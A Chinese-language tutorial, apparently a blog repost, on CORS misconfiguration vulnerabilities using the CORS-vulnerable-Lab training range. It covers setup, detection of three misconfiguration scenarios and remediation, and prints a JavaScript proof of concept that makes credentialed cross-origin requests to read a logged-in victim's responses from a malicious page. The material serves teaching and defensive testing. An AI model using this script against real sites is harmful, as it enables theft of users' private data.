天天看點

跨域資源共享CORS漏洞

0x01 漏洞簡介

跨域資源共享(CORS)是一種放寬同源政策的機制,它允許浏覽器向跨源伺服器,發出 XMLHttpRequest 請求,進而克服了 AJAX 隻能同源使用的限制,以使不同的網站可以跨域擷取資料,目前已經被絕大多數浏覽器支援,并被主流網站廣泛部署使用。跨域資源共享 CORS 漏洞主要是由于程式員配置不當,對于 Origin 源校驗不嚴格,進而造成跨域問題,攻擊者可以利用 CORS 錯誤配置漏洞,從惡意網站跨域讀取受害網站的敏感資訊。

這裡隻做簡單介紹,關于 CORS 漏洞的詳細分析可以點選檢視這篇文章:CORS漏洞原理分析

0x02 漏洞環境

漏洞靶場 CORS-vulnerable-Lab 包含了與 CORS 配置錯誤相關的易受攻擊代碼。可以在本地虛機上部署易受攻擊的代碼,以實際利用 CORS 相關的錯誤配置問題。

  • 項目位址:https://github.com/incredibleindishell/CORS-vulnerable-Lab

此項目代碼需要滿足以下配置環境,可利用 phpstudy 進行快速搭建。

  1. Apache web server
  2. PHP 5/7
  3. MySQL Database

安裝步驟如下:

1)下載下傳并解壓項目源代到phpstudy的網站

www

目錄下

2)建立一個MySQL資料庫,名字叫

ica_lab

,并将項目源碼

database

目錄下的

ica_lab.sql

檔案導入到該資料庫中

3)在文本編輯器中打開

c0nnection.php

,并修改連接配接資料庫配置資訊

4)最後,通路靶場位址即可

跨域資源共享CORS漏洞

該靶場内置了3個 CORS 的漏洞場景

  • 場景一:信任任意 Origin 源
  • 場景二:正規表達式檢測 Origin 源
  • 場景三:信任任意 null 源
跨域資源共享CORS漏洞

0x03 漏洞檢測

一般情況下,修改請求包 Header 中的 Origin 字段為任意域名或者為 null 的方式去檢測該漏洞是否存在。

場景一:信任任意 Origin 源

應用程式接受來自任何 Origin 的 CORS 請求。該代碼将 Origin 值放在 HTTP 響應頭 Access-Control-Allow-Origin 中。現在,此配置将允許來自任何 Origin 的任何腳本向應用程式發出 CORS 請求。Web 浏覽器将執行标準的 CORS 請求檢查,來自惡意域的腳本将能夠竊取資料。

應用程式接受 Origin 标頭中指定的任何值。

跨域資源共享CORS漏洞

場景二:正規表達式檢測 Origin 源

應用程式已實施 CORS 政策并對列入白名單的域/子域執行“正規表達式”檢查。在這種情況下,應用程式在代碼中具有弱正規表達式實作,它隻檢查 HTTP 請求 Origin 标頭中任何位置的域名

b0x.com

的存在。如果 HTTP 标頭 Origin 的值為

inb0x.com

b0x.comlab.com

,正規表達式會将其标記為通過。這種錯誤配置将導緻跨源共享資料。

應用程式信任列入白名單的 Origin。

跨域資源共享CORS漏洞

應用程式不允許任何任意來源。

跨域資源共享CORS漏洞

應用程式弱正規表達式允許在域名開頭具有白名單域字元串的 Origin。

跨域資源共享CORS漏洞

應用程式弱正規表達式允許在域名末尾具有白名單域字元串的 Origin。

跨域資源共享CORS漏洞

場景三:信任null源

在這種情況下,應用程式 HTTP 響應标頭 Access-Control-Allow-Origin 始終設定為 null。當使用者指定 null 以外的任何值時,應用程式不會處理它并在 HTTP 響應中繼續反映 null 。允許攻擊者執行漏洞利用的技巧很少,并且可以使用 CORS 請求過濾受害者的資料。

應用程式接受 Origin 标頭中指定的 null 值。

跨域資源共享CORS漏洞

注意事項

如果響應包 Header 中為以下情況 ,則不存在漏洞。

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials:true
           
跨域資源共享CORS漏洞

原因是因為浏覽器會對此類情況的請求進行自動攔截,不具備漏洞利用條件。

跨域資源共享CORS漏洞

0x04 漏洞利用

在 CORS-vulnerable-Lab 靶場的 POCs 目錄下,有 CORS 漏洞利用的腳本

跨域資源共享CORS漏洞

arbitrary_origin_exploit.html

為例,用文本編輯器打開該腳本檔案,找到如下代碼并根據實際應用場景進行修改

<script>
//向目标應用程式網頁發出 CORS 請求以擷取 HTTP 響應的函數
function exploit() {
 var xhttp = new XMLHttpRequest();
 xhttp.onreadystatechange = function() {
   if (this.readyState == 4 && this.status == 200) {
     var all = this.responseText;
     document.getElementById("load").innerHTML= all; // 分割列印被盜取的 HTTP 響應
     
      }
 };
 xhttp.open("GET", "http://192.168.126.6/CORS/arbitrary_origin.php", true); //将 URL 更改為錯誤配置 CORS 政策的 URL
 xhttp.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,\/;q=0.8");
 xhttp.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhttp.withCredentials = true;
 xhttp.send();
}

</script>
           

将利用腳本放置在搭建的惡意網站下,當受害者在同一浏覽器登入目标網站,并打開該惡意連結,即可盜取目标網站的 HTTP 響應内容。

跨域資源共享CORS漏洞

0x05 漏洞修複

  • 禁止配置 “Access-Control-Allow-Origin” 為 “*” 和 “null”;
  • 嚴格校驗 “Origin” 值,避免出現權限洩露;
  • 避免使用 “Access-Control-Allow-Credentials:true”;
  • 減少 “Access-Control-Allow-Methods” 所允許的方法;

參考文章

  • https://www.bugbank.cn/live/view.html?id=111824
  • https://blog.csdn.net/m0_38103658/article/details/102721402
  • https://research.qianxin.com/archives/290

繼續閱讀